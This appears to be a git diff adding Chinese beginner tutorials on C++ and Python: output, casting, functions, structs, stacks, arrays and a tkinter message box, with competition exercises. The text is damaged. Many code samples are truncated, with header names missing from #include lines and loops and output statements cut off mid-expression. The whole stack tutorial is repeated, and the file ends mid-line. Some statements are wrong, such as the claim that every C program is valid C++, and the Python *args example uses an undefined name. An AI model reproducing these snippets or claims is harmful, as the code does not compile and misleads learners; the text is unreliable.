的一个超集,事实上,任何合法的 C 程序都是合法的 C++ 程序。 +注意:使用静态类型的编程语言是在编译时执行类型检查,而不是在运行时执行类型检查。 +> C++ 完全支持面向对象的程序设计,包括面向对象开发的四大特性:封装、抽象、继承、多态 + +我嘞个去,这都是啥跟啥啊?! +没关系,看不懂也没事儿,就记住一点:C++是**面向对象编程语言**! +C++、Python、Java等等等,现在主流的编程语言,除了C语言,都是**面向对象编程语言**。 + +OK,看到这儿,你就能做题了: + +>[CSP-J 2021]以下不属于面向对象程序设计语言的是( )。 + A. C++ + B. Python + C. Java + D. C + +显而易见~答案是?D! +现在,你的C++漫漫长路,已经迈出了第一步。我们继续看: +> Luogu B2002 Hello,World! +【题目背景】 +强烈推荐[新用户必读贴](https://www.luogu.com.cn/discuss/241461) +【题目描述】 +编写一个能够输出 `Hello,World!` 的程序,这个程序常常作为一个初学者接触一门新的编程语言所写的第一个程序,也经常用来测试开发、编译环境是否能够正常工作。 +【样例 #1】 +【样例输入 #1】 +>``` +>无 +>``` +>【样例输出 #1】 +>``` +>Hello,World! +>``` +>【提示】 +>- 使用英文标点符号; +>- `Hello,World!` 逗号后面**没有**空格。 + +大家都有devcpp吧?如果没有就下一个安装,有的话就继续搞~ +现在,让我们开始**熟悉语法**。 +在我们学**函数**和**递归算法**以前,你完全可以把下面的内容当做模板: +```cpp +#include // 导入所有函数,万能头文件 +using namespace std; // 使用命名空间 +int main(){ + // 在这里写程序 + + return 0; // 退出程序 +} +``` + +我们这时候要输出`Hello,world!`,需要先认识两个重要功能:`cout`和`printf`。它们是标准的输出流。用法: +```cpp +cout<<"这里是cout输出的内容"< +using namespace std; +int main(){ + // 在此声明变量 + cin>>变量1>>变量2>>...>>变量n; + return 0; +} +``` +这样,就给每个变量输入并赋值啦~ + +## C++的运算 +运算是很简单的啊,和别的语言一样。相信大家对别的编程语言有所了解,其实都一样,一通百通~ +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/fdca5326075a50c7790c516302bb0ce8.jpeg) +就是这么神奇~来试试看: +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + // 建议加上括号,不加也对 + cout<<(1+2)< +using namespace std; +int main(){ + cout<<(1/2); + return 0; +} +``` +![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/2053d6ecab1e519a900edec23ed3e158.png) +哈哈哈,惊讶吗??这是为什么?! +> 因为C++语言是个静态类型语言,它不转换的话整数始终是整数,小数始终是小数。所以在C++的眼里1/2=0.5,但是1和2是整数,所以要**向下取整**,结果就是0!这一点一定要记住,特别重要!! + +但是怎么才能让它变成小数类型呢?首先我们要认识一个概念: +> `float` 为 **“单精度浮点数”**; +> `double` 为 **“双精度浮点数”**。 + +在信息学竞赛中,我们使用`double`类型比较多,那么如何强制类型转换呢? +```cpp +(要转换的数据类型)(要转换的内容) +``` +例如,我们需要转换1/2的值,可以这样写: +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + cout<<(double)(1)/(double)(2); + return 0; +} +``` +这里有个小坑儿,需要先转换然后再做除法。因为转换前会先运算表达式,所以整型的结果转换为浮点型,和原来一样。 + +> 这里还有个点儿,比较低级的类型转换类型时会自动转换。所以想要实现刚才的效果还可以这样写: +> ```cpp +> // Author:PanDaoxi +> #include +> using namespace std; +> int main(){ +> cout<<(double)(1)/2< cout<<1/(double)(2)< return 0; +> } +> ``` +> C++语言有好多坑,一不留神就踩进去了! +> ![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/a0b646419940dc377d3646cca9c05296.jpeg) + +现在我们来看一个题儿: +> Luogu B2022 输出保留 12 位小数的浮点数 +> ![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/9eb1d46dff0d9bebdff151375974e672.png) + +啊这,怎么保留呢? +记住一个写法: +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + cout< +using namespace std; +int main(){ + double n; + cin>>n; + cout< 今天,我们开始一起学习Python语言,希望大家跟随我的脚步,一起学习! + + +给大家推荐一个编程游戏,是`CodeCombat`,点击这里去官网,加入班级的密码是`TeamHappySock`,点击这里可以直接加入! + +本次我们要说的是变量以及标准的输出及输入,请大家打开一个空的文档,进行如下操作。 + +**变量** +首先,变量是什么? +——它是一个容器,用来储存信息的容器。 + +**变量也是有命名规则的,只能含有字母、数字、下划线(`_`)组成,且不能以数字开头,请牢记这一点。** + +那么我们打开`file01.py`文件,来创建一个变量: + +```python +#(格式)变量名 = 值 +# 值可以等于一个牵扯到其他已存在变量的表达式。 +# 声明变量,并给它一个值,这个操作叫做“赋值”。 +text = 'Hello,World!' +``` +变量的类型也有好几种:整形、字符串、浮点、布尔类型等一大堆,我们今天先说这四个:**整形、字符串、浮点、布尔类型**。 + +```python +#字符串类型的特征:带有单引号、双引号或者有强制转换符 str() +string_type = '字符串' +#整数类型的特征:是一个数或者带有强制转换符 int() +integer_type = 100 +#浮点数类型特征:值是一个小数或带有强制转换符 float() +float_type = 12.345 +#布尔类型特征:值为 True(真)或 False (假),用于 if 语句 +bool_type = True +``` +变量具有可变性: + +```python +text = '整数类型' +text = '字符串' +#此时 text 变量的内容就是 “字符串” +``` +变量还可以为方法的返回值提供容器: + +```python +from time import time +time = time() +``` +可以用`type`方法输出变量的类型: + +```python +text = '这是一个字符串' +print(type(text)) +``` + +总而言之,变量就是一个容器,储存信息的容器。 + +**标准输出和输入方法** +输出内容的方法是`print()`,当然也可以输出变量。 + +```python +text = '这是一个字符串' +print('这里是要输出的内容') +print(text) +print('拼接1','拼接2','拼接3') #Python是支持输出拼接的,在两个内容之间假如英文的逗号即可,输出时在内容中间加一个空格。 +``` +效果: + +> 这里是要输出的内容 +> 这是一个字符串 +>拼接1 拼接2 拼接3 + +如果要空行那么可以直接写`print()`,不带内容。或者使用`\n`符号进行空行,但是Python的输出语句是默认带上空行的,如果使用`print('\n')`的话就是空两行。 + +让用户输入一个值的方法是`input()`,用户输入的内容是一个字符串类型,它会把用户输入的内容返回。 + +```python +text = input('这是一个提示语') +#如果此时用户输入“123456”并点击空格,那么 text 变量的值就是 "123456" +``` +今天的内容就说到这,我们来做几道题练习一下: + +``` +1.在 Console 上让用户输入名字,输入完以后,空行输出 “您的名字是: XXX”的字样。 +2.在 Console 上输出内容:“1234567890abcdefghijklmnopqrstuvwxyz”(可以直接复制这儿的,要以最简短的代码实现)。 +3.在 Console 上让用户输入一句话,输出到控制台(要以最简短的代码实现,输出格式:“请您输入一句话:XXX”)。 +``` diff --git "a/\344\270\203\343\200\201\345\207\275\346\225\260.md" "b/\344\270\203\343\200\201\345\207\275\346\225\260.md" new file mode 100644 index 0000000..d9826ec --- /dev/null +++ "b/\344\270\203\343\200\201\345\207\275\346\225\260.md" @@ -0,0 +1,198 @@ +函数,对于我们是一个全新的概念。简单来说,就是在一个程序内运行另一个程序。我们把代码放入函数,方便我们使用。 +函数又叫方法,使用函数的代码叫做`访问方法`或`调用函数`,包括一行简单的`print('Hello,World!')`都含有调用函数,它调用了`print`函数。 +
+ +## 函数的使用 +我们先来做个对比: + +```python +b = True +if b: + a = 0 + while a <= 100: + print(a) + a += 1 +``` +再看这个: + +```python +b = True + +def run(): + a = 0 + while a <= 100: + print(a) + a += 1 + +if b: + run() +``` + + +相对于前者,后者在`if语句`内更为简便,我们如果判断`b`为真,就运行循环。 +函数的格式如下: + +```python +#函数的命名要求与变量一样 +def 函数名(可以是多个或没有的参数): + 运行代码 + +函数名() +``` +通过关键字`def`,我们可以定义一个新的函数。 + +```python +def eat(what): + print('我想吃 ' + what) +``` +运行上面的代码,我们发现没有任何效果,控制台上并没有输出内容。这是因为我们没有调用刚才定义的`eat`函数,举个例子: + +```python +比如说我想吃一碗面条,我只是想,但是我并没有说。(这个叫做定义函数) +现在,我大声地对饭馆老板说出了:“我要吃面条!”(这个叫做调用函数) +``` +我们想要调用方法,需要使用代码`eat('面条')`,括号里别忘了要填上你想吃的东西,否则会报错! + +
+ +## 函数的返回值 +我们可以通过函数返回一个数据,包括我们学循环时介绍到的`range()`,返回了一个数字列表。 +想要使用函数的返回值,需要用到`return`。这个语句后面可以带上任何数据类型。我们可以用变量代表返回值。 + +```python +def eat(what): + return '我想吃' + str(what) + +print(eat('面条')) +``` + +
+ +## 函数的可变参数——`*arg`与`**kwargs` +我想做一个求和函数: + +```python +def numberSum(x,y): + return x + y + +print(numberSum(5,5)) +``` +简单,输出结果`10`。但是,如果我的参数个数是不定的,怎么办? +这时候就需要`*arg`与`**kwargs`来帮忙了。 +这两个的不同:前者返回的数据是元组,后者是字典。 + +```python +#显而易见,我们需要用到*arg +#不一定要用*arg,可以是其他的,但是必须有* +def numberSum(*args): + x = 0 + for i in arg: + x += i + return x + +print(numberSum(1,2,3,4)) +``` +再举个小例子: +我们要输出传入的参数: + +```python +def name(**kwargs): + print(kwargs) + +name(name = '潘道熹') +``` +返回结果为字典,键的名字是传入的`name`参数,值是`潘道熹`。 + +
+ +## 拓展小知识 +**(1)认识`lambda`匿名函数** +我们使用函数计算时需要注意很多东西,非常麻烦,我们可以使用`lambda`让它更简单。 +原来,我们的代码写成这样: + +```python +def calc(x,y): + return x * y + +calc(10,10) +``` +而使用`lambda`就可以简化成: + +```python +#定义lambda语句,参数x和y,返回结果是x和y相乘 +calc = lambda x,y:x*y +print(calc(10,10)) +``` +**变量的作用域** +变量也是有作用域的。如果要是没有在函数体内创建,那么它的名字叫做`全局变量`;而在函数体内创建叫做`局部变量`。 + +```python +def calc(): + x = 1 + for i in range(1,11): + x *= i + print(x) + +calc() +print(x) +``` +尝试后发现,在函数体内正常输出了`x`的值,但是返回以下错误信息: + +```python +Traceback (most recent call last): + File "D:\编程代码\otherFiles\01.py", line 8, in + print(x) +NameError: name 'x' is not defined +``` +含义是说变量`x`没有定义,我们再试下: + +```python +x = 0 +print(x) +``` +正常输出。 +原来我们在函数内创建变量时,需要在外部使用,需要声明全局变量。当有一个全局变量时,我们需要在函数内修改它的值,也需要声明全局变量。那么,如何声明呢? +我们要用到一个新的语句,叫做`global`。它位于函数体内,通常在函数第一行,变量跟在后面,调用函数时就成为全局变量了。我们来做个小测试: + +```python +x = 1 +def calc(): + global x + for i in range(1,11): + x *= i + print(x) + +calc() +``` + +```python +def calc(): + global x + x = 1 + for i in range(1,11): + x *= i + +calc() +print(x) +``` +以上都可以成功运行。 +当我们想要在同一个函数内声明多个变量时,用英文逗号间隔,就像这样: + +```python +def output(): + global text1,text2 + text1 = '局部变量1' + text2 = '局部变量2' + +output() +#逗号的意思是间隔一个空格再输出下一个内容 +print(text1,text2) +``` + +
+ +```python +练习题 +请使用函数输出1~100内所有数字相乘的积,相乘的字符是a *= b,展开形式 a = a * b。 +``` + diff --git "a/\344\270\203\343\200\201\346\240\210 & \347\273\223\346\236\204\344\275\223.md" "b/\344\270\203\343\200\201\346\240\210 & \347\273\223\346\236\204\344\275\223.md" new file mode 100644 index 0000000..a844e41 --- /dev/null +++ "b/\344\270\203\343\200\201\346\240\210 & \347\273\223\346\236\204\344\275\223.md" @@ -0,0 +1,375 @@ +> 分享笑话一则:我翻到了以前我写的程序,在洛谷上存着: +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/f2b1b18103eb3eda4d61d81709f9b1af.png) +> 大概是我自己弄了半天然后 $AC$ 了,这么激动。 + + +**栈**这个东西,大家肯定都听说过,~~那咱们再跳过一次?~~ +不管怎么样,我们还得再说说。 + +# 栈 +我们的 $C++$ 有一个大杀器—— $STL$ 模板库。 +我们可以使用万能头文件,然后用下面这行代码创建一个栈: + +```cpp +// 创建一个整数类型的栈 s +stack s; +``` + +创建这个栈以后,我们先看一个神奇的东西——结构体。 +## 结构体 +结构体允许用户创建自己的数据类型,方便使用。我们可以用 $struct$ 创建结构体。 + +```cpp +// main 外 +struct hhh{ + // 变量,各种类型 + int a; + char b; + bool c; + long long d; + double e; + int f[114]; + short g[514]; + string h; + + // 函数 + void read(){ + cin >> a >> b; + } + // 其他各种内容都可以塞进来 +}; // 注意有分号! + +// 创建一个hhh类型的数组 +hhh qwp[11]; + +// 创建一个hhh类型的变量 +hhh abc; + +int main(){ + abc.read(); + for(int i=1; i<=10; i++) qwp[i].read(); + // ... + return 0; +} +``` +结构体数组支持 $sort$ 函数排序。 +```cpp +/* +用法: +sort(数组名+起始下标, 数组名+终止下标, 自定义的排序函数); +*/ +struct ha{ + int a, b; +} + +bool cmp(ha x, ha y){ + // 返回 x 大于 y 的情况 + if(x.a != y.a) return x.a > y.a; + else return x.b > y.b; +} +int main(){ + ha a[5]; + for(int i=1; i<=5; i++){ + cin >> a[i].a >> a[i].b; + } + sort(a+1, a+6, cmp); // 其实那玩意儿叫地址,但是太麻烦了,我们后面再说 + for(int i=1; i<=5; i++){ + cout << a[i].a << " " << a[i].b; + } +} +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/a64cacfe16e4704199f173b8111185de.png) +~~提高组考这大水题有点儿过分了啊~~ +我们来一起看看这个题,这是我初学的时候写的程序: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +struct stu { + string name=""; + int s1=0, s2=0, s3=0, total=0; + char t1=0, t2=0; + void work() { + if(s1 > 80 && s3 > 0) total += 8000; + if(s1 > 85 && s2 > 80) total += 4000; + if(s1 > 90) total += 2000; + if(s1 > 85 && t2 == 'Y') total += 1000; + if(s2 > 80 && t1 == 'Y') total += 850; + } +} s[101]; // 简略写法,表示直接创建一个数组 +int main() { + int n; + cin >> n; + for(int i=0; i> s[i].name >> s[i].s1 >> s[i].s2 >> s[i].t1 >> s[i].t2 >> s[i].s3; + string name = ""; + int tot1=0, tot2=0; + for(int i=0; i tot1) tot1 = s[i].total, name = s[i].name; + } + cout << name << endl << tot1 << endl << tot2; + return 0; +} + +``` + +## 模拟栈 +栈是一种**线性数据结构**,你也可以想成就是一条很窄的路,元素只能一个一个过。 +如果这条路的一头“咔”,堵死了,那这就是一个栈。 +你看,就是这样的: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/eac71cc408d4b15fb7586f264ece48a9.png) + +那么,我要弹出一个元素,肯定是要先弹出栈顶咯。这也是一个栈的基本概念:**先进后出**。 +“噗”,元素 $E$ 出去了,栈顶变成了 $D$ 。 +$But$ ,咱们可爱的小电脑怎么知道这个操作呢? +——我们需要一个**指针** $p$ (其实也就是变量,不是那种指针),指向栈顶元素的下标,弹出时这个指针自减;进入时,这个指针自增;如果按照这个思路,那么栈中一共有 $p+1$ 个元素。 + +按照上面的思路,我们可以写出栈的模拟: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +const int inf = 114514; +struct stack_int{ + // 栈顶指针、模拟数组 + int t = 0, + st[inf]; + // 函数 + void push(int k){ // 压入栈顶 + st[t++] = k; + } + void pop(){ // 踢出栈顶 + st[t--] = 0; + } + bool empty(){ // 判空 + return t <= 0; + } + int size(){ + return t; + } + int top(){ + if(!empty()) return st[t-1]; + else return INT_MAX; // 传回一个错误值 + } +}; +int main(){ + stack_int st; // 创建一个栈 + + st.push(191); // 压入114 + st.push(9810); // 压入9810 + st.push(114514); // 压入114514 + printf("踢出前长度:%d\n", st.size()); + + st.pop(); + printf("踢出后栈顶:%d\n", st.top()); + printf("踢出后长度:%d\n", st.size()); + + st.pop(); + st.pop(); + printf("踢出两个元素后长度:%d\n", st.size()); + printf("判断栈是否为空:%s", (st.empty() ? "Yes" : "No")); + + return 0; +} + +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/548aca26b9410527891c52932bef98c0.png) + + +## 大杀器 $STL$ +我们可以使用模板库简化刚才的例子。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +stack st; // 创建一个栈 +int main(){ + st.push(191); // 压入114 + st.push(9810); // 压入9810 + st.push(114514); // 压入114514 + printf("踢出前长度:%d\n", st.size()); + + st.pop(); + printf("踢出后栈顶:%d\n", st.top()); + printf("踢出后长度:%d\n", st.size()); + + st.pop(); + st.pop(); + printf("踢出两个元素后长度:%d\n", st.size()); + printf("判断栈是否为空:%s", (st.empty() ? "Yes" : "No")); + + return 0; +} + +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/552e88c809fd1d1b0c137ff505e7c6c8.png) +# 练习 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/b2fabba3013be741b3f33725992006dd.png) + +其实这个题直接暴力模拟也是可以的。我初学 $C++$ 那会儿写的程序也没用栈: + +```cpp +#include +using namespace std; +int main(){ + string x; + int a = 0; + cin >> x; + for(int i=0; i +using namespace std; +stack st; +int main(){ + char c; + while(cin >> c){ + if(c == '@') break; + if(st.empty() && c == ')'){ // 特判 + cout << "NO"; + return 0; + } + if(c == '(') st.push(c); + if(c == ')') st.pop(); + } + cout << (st.empty() ? "YES" : "NO"); + return 0; +} + +``` + +--- + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/fcf96fa803e4b8a27a114414fb776ad6.png) + +> 这真的是老师讲的例题!直接模拟,胆大心细就行。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +stack st; +int main(){ + int T; + cin >> T; + for(int j=0; j> n; + for(int i=0; i> s; + if(s == "push"){ + cin >> m; + st.push(m); + } + else if(s == "pop"){ + if(st.empty()) cout << "Empty" << endl; + else st.pop(); + } + else if(s == "size") cout << st.size() << endl; + else if(s == "query"){ + if(st.empty()) cout << "Anguei!" << endl; + else cout << st.top() << endl; + } + } + while(!st.empty()) st.pop(); + } + return 0; +} + +``` + +--- + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/72ee4341112c82c8fccc76570dc4a9cb.png) + + +> 先说最简单的模拟思路,我们输入一个字符串,从头开始遍历。 +> 如果当前字符为数字,往临时字符串里储存。 +> 如果遇到点,把字符串整成数往栈里存。 +> 如果是符号,拿出来栈顶的两个元素计算结果(那两个元素 $pop$ 掉),然后再 $push$ 进栈。 +> 最后输出栈顶。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +stack st; +int sti(string s){ + int n = 0; + for(int i=0; i> s; + for(int i=0; i 分享笑话一则:我翻到了以前我写的程序,在洛谷上存着: +> ![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/f2b1b18103eb3eda4d61d81709f9b1af.png) +> 大概是我自己弄了半天然后 $AC$ 了,这么激动。 + + +**栈**这个东西,大家肯定都听说过,~~那咱们再跳过一次?~~ +不管怎么样,我们还得再说说。 + +# 栈 +我们的 $C++$ 有一个大杀器—— $STL$ 模板库。 +我们可以使用万能头文件,然后用下面这行代码创建一个栈: + +```cpp +// 创建一个整数类型的栈 s +stack s; +``` + +创建这个栈以后,我们先看一个神奇的东西——结构体。 +## 结构体 +结构体允许用户创建自己的数据类型,方便使用。我们可以用 $struct$ 创建结构体。 + +```cpp +// main 外 +struct hhh{ + // 变量,各种类型 + int a; + char b; + bool c; + long long d; + double e; + int f[114]; + short g[514]; + string h; + + // 函数 + void read(){ + cin >> a >> b; + } + // 其他各种内容都可以塞进来 +}; // 注意有分号! + +// 创建一个hhh类型的数组 +hhh qwp[11]; + +// 创建一个hhh类型的变量 +hhh abc; + +int main(){ + abc.read(); + for(int i=1; i<=10; i++) qwp[i].read(); + // ... + return 0; +} +``` +结构体数组支持 $sort$ 函数排序。 +```cpp +/* +用法: +sort(数组名+起始下标, 数组名+终止下标, 自定义的排序函数); +*/ +struct ha{ + int a, b; +} + +bool cmp(ha x, ha y){ + // 返回 x 大于 y 的情况 + if(x.a != y.a) return x.a > y.a; + else return x.b > y.b; +} +int main(){ + ha a[5]; + for(int i=1; i<=5; i++){ + cin >> a[i].a >> a[i].b; + } + sort(a+1, a+6, cmp); // 其实那玩意儿叫地址,但是太麻烦了,我们后面再说 + for(int i=1; i<=5; i++){ + cout << a[i].a << " " << a[i].b; + } +} +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/a64cacfe16e4704199f173b8111185de.png) +~~提高组考这大水题有点儿过分了啊~~ +我们来一起看看这个题,这是我初学的时候写的程序: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +struct stu { + string name=""; + int s1=0, s2=0, s3=0, total=0; + char t1=0, t2=0; + void work() { + if(s1 > 80 && s3 > 0) total += 8000; + if(s1 > 85 && s2 > 80) total += 4000; + if(s1 > 90) total += 2000; + if(s1 > 85 && t2 == 'Y') total += 1000; + if(s2 > 80 && t1 == 'Y') total += 850; + } +} s[101]; // 简略写法,表示直接创建一个数组 +int main() { + int n; + cin >> n; + for(int i=0; i> s[i].name >> s[i].s1 >> s[i].s2 >> s[i].t1 >> s[i].t2 >> s[i].s3; + string name = ""; + int tot1=0, tot2=0; + for(int i=0; i tot1) tot1 = s[i].total, name = s[i].name; + } + cout << name << endl << tot1 << endl << tot2; + return 0; +} + +``` + +## 模拟栈 +栈是一种**线性数据结构**,你也可以想成就是一条很窄的路,元素只能一个一个过。 +如果这条路的一头“咔”,堵死了,那这就是一个栈。 +你看,就是这样的: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/eac71cc408d4b15fb7586f264ece48a9.png) + +那么,我要弹出一个元素,肯定是要先弹出栈顶咯。这也是一个栈的基本概念:**先进后出**。 +“噗”,元素 $E$ 出去了,栈顶变成了 $D$ 。 +$But$ ,咱们可爱的小电脑怎么知道这个操作呢? +——我们需要一个**指针** $p$ (其实也就是变量,不是那种指针),指向栈顶元素的下标,弹出时这个指针自减;进入时,这个指针自增;如果按照这个思路,那么栈中一共有 $p+1$ 个元素。 + +按照上面的思路,我们可以写出栈的模拟: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +const int inf = 114514; +struct stack_int{ + // 栈顶指针、模拟数组 + int t = 0, + st[inf]; + // 函数 + void push(int k){ // 压入栈顶 + st[t++] = k; + } + void pop(){ // 踢出栈顶 + st[t--] = 0; + } + bool empty(){ // 判空 + return t <= 0; + } + int size(){ + return t; + } + int top(){ + if(!empty()) return st[t-1]; + else return INT_MAX; // 传回一个错误值 + } +}; +int main(){ + stack_int st; // 创建一个栈 + + st.push(191); // 压入114 + st.push(9810); // 压入9810 + st.push(114514); // 压入114514 + printf("踢出前长度:%d\n", st.size()); + + st.pop(); + printf("踢出后栈顶:%d\n", st.top()); + printf("踢出后长度:%d\n", st.size()); + + st.pop(); + st.pop(); + printf("踢出两个元素后长度:%d\n", st.size()); + printf("判断栈是否为空:%s", (st.empty() ? "Yes" : "No")); + + return 0; +} + +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/548aca26b9410527891c52932bef98c0.png) + + +## 大杀器 $STL$ +我们可以使用模板库简化刚才的例子。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +stack st; // 创建一个栈 +int main(){ + st.push(191); // 压入114 + st.push(9810); // 压入9810 + st.push(114514); // 压入114514 + printf("踢出前长度:%d\n", st.size()); + + st.pop(); + printf("踢出后栈顶:%d\n", st.top()); + printf("踢出后长度:%d\n", st.size()); + + st.pop(); + st.pop(); + printf("踢出两个元素后长度:%d\n", st.size()); + printf("判断栈是否为空:%s", (st.empty() ? "Yes" : "No")); + + return 0; +} + +``` +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/552e88c809fd1d1b0c137ff505e7c6c8.png) +# 练习 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/b2fabba3013be741b3f33725992006dd.png) + +其实这个题直接暴力模拟也是可以的。我初学 $C++$ 那会儿写的程序也没用栈: + +```cpp +#include +using namespace std; +int main(){ + string x; + int a = 0; + cin >> x; + for(int i=0; i +using namespace std; +stack st; +int main(){ + char c; + while(cin >> c){ + if(c == '@') break; + if(st.empty() && c == ')'){ // 特判 + cout << "NO"; + return 0; + } + if(c == '(') st.push(c); + if(c == ')') st.pop(); + } + cout << (st.empty() ? "YES" : "NO"); + return 0; +} + +``` + +--- + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/fcf96fa803e4b8a27a114414fb776ad6.png) + +> 这真的是老师讲的例题!直接模拟,胆大心细就行。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +stack st; +int main(){ + int T; + cin >> T; + for(int j=0; j> n; + for(int i=0; i> s; + if(s == "push"){ + cin >> m; + st.push(m); + } + else if(s == "pop"){ + if(st.empty()) cout << "Empty" << endl; + else st.pop(); + } + else if(s == "size") cout << st.size() << endl; + else if(s == "query"){ + if(st.empty()) cout << "Anguei!" << endl; + else cout << st.top() << endl; + } + } + while(!st.empty()) st.pop(); + } + return 0; +} + +``` + +--- + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/72ee4341112c82c8fccc76570dc4a9cb.png) + + +> 先说最简单的模拟思路,我们输入一个字符串,从头开始遍历。 +> 如果当前字符为数字,往临时字符串里储存。 +> 如果遇到点,把字符串整成数往栈里存。 +> 如果是符号,拿出来栈顶的两个元素计算结果(那两个元素 $pop$ 掉),然后再 $push$ 进栈。 +> 最后输出栈顶。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +stack st; +int sti(string s){ + int n = 0; + for(int i=0; i> s; + for(int i=0; i 数组是啥? +> 数组是干嘛的? +> 数组怎么用? +> ![image](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/img_convert/927ba03ca905a5a13d24d51d84e10979.png) + +不管咋样,先看百科了解亿下: + +> C++ 数组 —— 菜鸟教程 +C++ 支持数组数据结构,它可以存储一个固定大小的相同类型元素的顺序集合。数组是用来存储一系列数据,但它往往被认为是一系列相同类型的变量。 +数组的声明并不是声明一个个单独的变量,比如 number0、number1、...、number99,而是声明一个数组变量,比如 numbers,然后使用 numbers[0]、numbers[1]、...、numbers[99] 来代表一个个单独的变量。数组中的特定元素可以通过索引访问。 +所有的数组都是由连续的内存位置组成。最低的地址对应第一个元素,最高的地址对应最后一个元素。 + +这都是啥跟啥啊?! +**数组 array**是C++等编程语言里重要的数据结构,后期我们将学 栈stack、队列queue等。 +同时,C++里面的`vector`与Python里面的`list`差不多,`array`、`list`的下标都是从0开始的。为了方便我们后期可能会使用 $STL$ 大法! + +> 别的先别说了,开搞吧! + +数组也有数据类型,比如有整数型的、长整数型的、浮点型的等等,其中的字符数组就是**字符串**的一种。 +定义方法: + +```cpp +数据类型 数组名[数组长度]={数组内容}; +``` +我建议大家在定义数组时定义在`main`函数外面,这样一是方便其他函数使用,二是**这样写可以给数组的每个元素赋值为0**(变量的值也是0)。 +在主函数内定义,这种数组就成为了局部变量,而且用不到的元素C++默认为随机数,有可能你找半天bug也找不到…… +要是给一个数组的每一个元素快速赋值,可以使用`memset`函数,就像这样: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + int a[101]; + // 初始化 + memset(a,-1,sizeof(a)); + // 等同于 int a[101]={}; + // 输出 + for(int i=0;i<101;i++){ + cout< 请你输出正整数 $n$ 各个数位上的数。 +> 输入:`1234` +> 输出:`1 2 3 4` + +哈哈,可惜你没学过字符串,不然轻轻松松就给秒了。 +我们可以使用数组储存每一位的数字,然后再输出。 + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int n,m,a[101],k; +int main(){ + cin>>n; + while(n) a[k++]=n%10,n/=10; + // 倒着输出 + for(int i=k-1;i>=0;i--){ + cout< +using namespace std; +int n,m,a[101],k; +int main(){ + cin>>n; + while(n) a[k++]=n%10,n/=10; // 获取每一位上的数字 + // 先把每一位的数字变成正确的顺序 + for(int i=0;i +using namespace std; +int main(){ + int n,a[101],k=0; + while(cin>>n){ + a[k++]=n; + } + for(int i=k-1;i>=0;i--){ + if(a[i]==0) continue; + cout< +using namespace std; +int main(){ + int n,a[101],b[101],k=0; + cin>>n; + for(int i=0;i>a[i]; + } + for(int i=n-1;i>=0;i--){ + int x=0; + for(int j=i;j>=0;j--){ + if(a[j]=0;i--){ + cout< 拓展:考试的时候,测题机会在末尾加上 `ctrl+z` 退出,所以我们可以利用这一特性来做题。因为这个键(`^Z`=`ctrl+z`)能终止死循环,所以我们只需要在输入时判断是否为这个键就行了;而这个键的bool值为假,所以输入时就会自动判断了。 +> 模拟法: +> ```cpp +> // Author:PanDaoxi +> #include +> using namespace std; +> int main(){ +> int a[101]={},k=0; +> while(cin>>a[k++]); // 输入数据 +> // 如果不是0就输出 +> for(int i=k-2;i>=0;i--) if(a[i]!=0) cout< return 0; +> } +> ``` +递归法: +```cpp +// Author:PanDaoxi +#include +using namespace std; +int x; +void f(int k){ + if(k==0) return; + cin>>x; + f(x); + cout<>x; + f(x); + return 0; +} +``` +栈法: + +```cpp +// Author:PanDaoxi +#include +using namespace std; +int main(){ + stack st; + int n,m; + while(cin>>n){ + st.push(n); + } + while(!st.empty()){ + m=st.top(); + if(m!=0) cout< + +**使用内置的文字框:** + +(格式:`函数名(title='设置的标题',message='显示的信息')`) + +```python +#导入需要用的模块 +from tkinter.messagebox import showinfo,showwarning,showerror + +''' +#导入格式: +# from 模块名 import 内容 +# import 模块名 +#------------------- +#推荐用第一种,因为这样节省系统资源,也方便写代码,导入多个内容时用英文逗号间隔 +#第二种可以这样写: +# import 模块名 as 名称 +#就是给模块起一个名字,使用时不用写完整的模块名,直接使用设定的名称即可 +''' + +#设置变量 +title = '文字框' +msg = 